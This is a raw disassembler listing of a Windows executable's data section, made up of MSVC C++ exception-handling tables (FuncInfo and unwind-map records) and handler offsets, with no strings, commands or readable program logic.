loc_4393D2 dd 0 dd offset loc_4393DD dd 0 dd offset loc_4393E8 dd 0 dd offset loc_4393F3 dd 9, 4393FEh, 0 dd offset loc_439409 dd 0 dd offset loc_439414 dd 0 dd offset loc_43941F dd 0 dd offset loc_43942A dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh dd 0 dd offset loc_439499 dd 0 dd offset loc_4394A4 dd 0 dd offset loc_4394B2 dd 0 ; --------------------------------------------------------------------------- rcl byte ptr [ebx+eax*2+1A00h], 0 retf ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 1Bh, 4394D6h, 0 dd offset loc_4394E1 dd 1Dh, 4394ECh, 0 dd offset loc_4394F7 dd 1Fh, 439502h, 0 dd offset loc_43950D dd 0 dd offset loc_439518 dd 0 dd offset loc_439523 dd 0 dd offset loc_43952E dd 0 dd offset loc_439539 dd 25h, 439544h, 26h, 43954Fh, 0 dd offset loc_43954F dd 28h, 439544h, 0 dd offset loc_43955A dd 0 dd offset loc_439565 dd 2Bh, 439570h, 2Ch, 43957Bh, 0 dd offset loc_43957B dd 2Eh, 439570h, 2Eh, 439586h, 0 dd offset loc_439591 dd 31h, 43959Ch, 0 dd offset loc_4395A7 dd 0 dd offset loc_4395B2 dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0) dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0) dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0) dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0 dd offset loc_4396B8 dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0) dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0 dd offset loc_439718 dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0) dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0) dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0 dd offset loc_4397E8 dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9 dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h dd 4 dup(0) dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0 dd offset loc_439890 dd 2 dup(0) dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0 dd offset loc_4398D8 align 10h dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0) dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0 dd offset loc_439918 dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h dd 2 dup(0) dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0 dd offset loc_43997B dd 1, 439986h, 2, 439991h, 2 dup(0) dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 99h, 43h, 0 dd 1, 4399D6h, 2, 4399E1h, 2 dup(0) dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0) dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0) dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0) dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0 dd offset loc_439A78 align 10h dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0 dd offset loc_439A98 dd 1, 439AA3h, 2 dup(0) dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0 dd offset loc_439AD8 dd 1, 439AE0h, 2 dup(0) dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0) dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0 dd offset loc_439B28 dd 0 dd offset loc_439B30 dd 0 dd offset loc_439B3B dd 2 dup(0) dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0 dd offset loc_439B68 dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0) dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0 dd offset loc_439BBB dd 1, 439BC6h, 2 dup(0) dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0 dd offset loc_439BF8 dd 1, 439C00h, 2, 439C08h, 2 dup(0) dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0 dd offset loc_439C38 dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0) dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0 dd offset loc_439C88 dd 1, 439C93h, 2, 439C9Eh, 2 dup(0) dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0 dd offset loc_439CC8 dd 1, 439CD0h, 2 dup(0) dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0) dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0 dd offset loc_439D18 dd 2 dup(0) dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0 dd offset loc_439D38 align 10h dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0 dd offset loc_439D5B dd 1, 439D66h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0) dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0 dd offset loc_439DD8 dd 1, 439DE3h, 2, 439DEEh, 2 dup(0) dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh dd 439E40h, 2 dup(0) dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0 dd offset loc_439E78 dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0) dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0 dd offset loc_43A058 dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0) dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0) dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0 dd offset loc_43A25B dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah dd 43A584h, 3Bh, 43A592h, 0Eh dup(0) dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0 dd offset loc_43A68B dd 1, 43A696h, 2, 43A6A1h, 2 dup(0) dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0 dd offset loc_43A6DB dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0) dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0 dd offset loc_43A74E dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0) dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0 dd offset loc_43A7AB dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0) dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0 dd offset loc_43A80B dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0) dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0) dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0) dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0) dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 43h, 0 dd 2 dup(0) dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0 dd offset loc_43A8FB dd 1, 43A906h, 2, 43A911h, 2 dup(0) dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0 dd offset loc_43A94B dd 1, 43A956h, 2, 43A961h, 2 dup(0) dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0 dd offset loc_43A99B dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0) dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0 dd offset loc_43AA0E dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0) dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0 dd offset loc_43AA6B dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0) dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 43h, 0 dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0) dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0) dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0) dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0) dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0 dd offset loc_43AB8B align 10h dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0 dd offset loc_43ABBB dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0) dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0) dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0 dd offset loc_43AC2B align 10h dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0) dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0) dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0 dd offset loc_43AC9B dd 2 dup(0) dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0) dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0 dd offset loc_43ACF7 dd 1, 43ACFFh, 2 dup(0) dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0) dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0 dd offset sub_43AD40 dd 0 dd offset loc_43AD5F dd 2, 43AD67h, 2 dup(0) dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh dd 43ADB8h, 2 dup(0) dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0 dd offset loc_43ADEB dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0) dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0 dd offset loc_43AF78 dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0) dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0 dd offset loc_43AFB8 dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0) dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0 dd offset loc_43AFF8 dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0) dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B058 dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0) dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0) dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2 dup(0) dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0) dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0 dd offset loc_43B188 dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0) dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441540h, 4 dup(0) dd offset loc_41EE2C dd 2 dup(0) dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0 dd offset loc_43B22B dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0) dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0 dd offset loc_43B2C8 align 10h dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h dd 2 dup(0) dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0) dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0 dd offset loc_43B34B dd 2 dup(0) dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0 dd offset loc_43B37B dd 0 dd offset loc_43B383 dd 0 dd offset loc_43B38B dd 3, 43B393h, 4, 43B39Bh, 0 dd offset loc_43B3A3 dd 6, 43B3ABh, 7, 43B3B3h, 0 dd offset loc_43B3BB dd 9, 43B3C3h, 0Ah, 43B3CBh, 0 dd offset loc_43B3D3 dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0 dd offset loc_43B3EB dd 0Fh, 43B3F3h, 0 dd offset loc_43B3FB dd 11h, 43B403h, 0 dd offset loc_43B40B dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0) dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0) dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0) dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0) dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0) dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0) dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh dd 43B69Ch, 6 dup(0) dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0) dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0 dd offset loc_43B708 dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0) dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0 dd offset loc_43B758 dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0) dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0) dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0) dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0) dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0) dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0) dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0) dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0) dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0) dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0 dd offset loc_43B8A8 dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0 dd offset loc_43B908 dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0) dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0 dd offset loc_43B968 dd 1, 43B976h, 2 dup(0) dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0 dd offset loc_43B9AB dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0) dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0) dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0) dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0) dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0) dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441F68h, 4 dup(0) dd offset loc_42AF54 align 10h dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441FC8h, 4 dup(0) dd offset loc_42B031 align 10h dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0 dd offset loc_43BBA8 dd 1, 43BBB0h, 2 dup(0) dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0) dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0) dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0) dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0) dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0) dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh dd 43BCA8h, 2 dup(0) dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0) dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0) dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0 dd offset loc_43BDEB align 10h dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0) dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0) dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 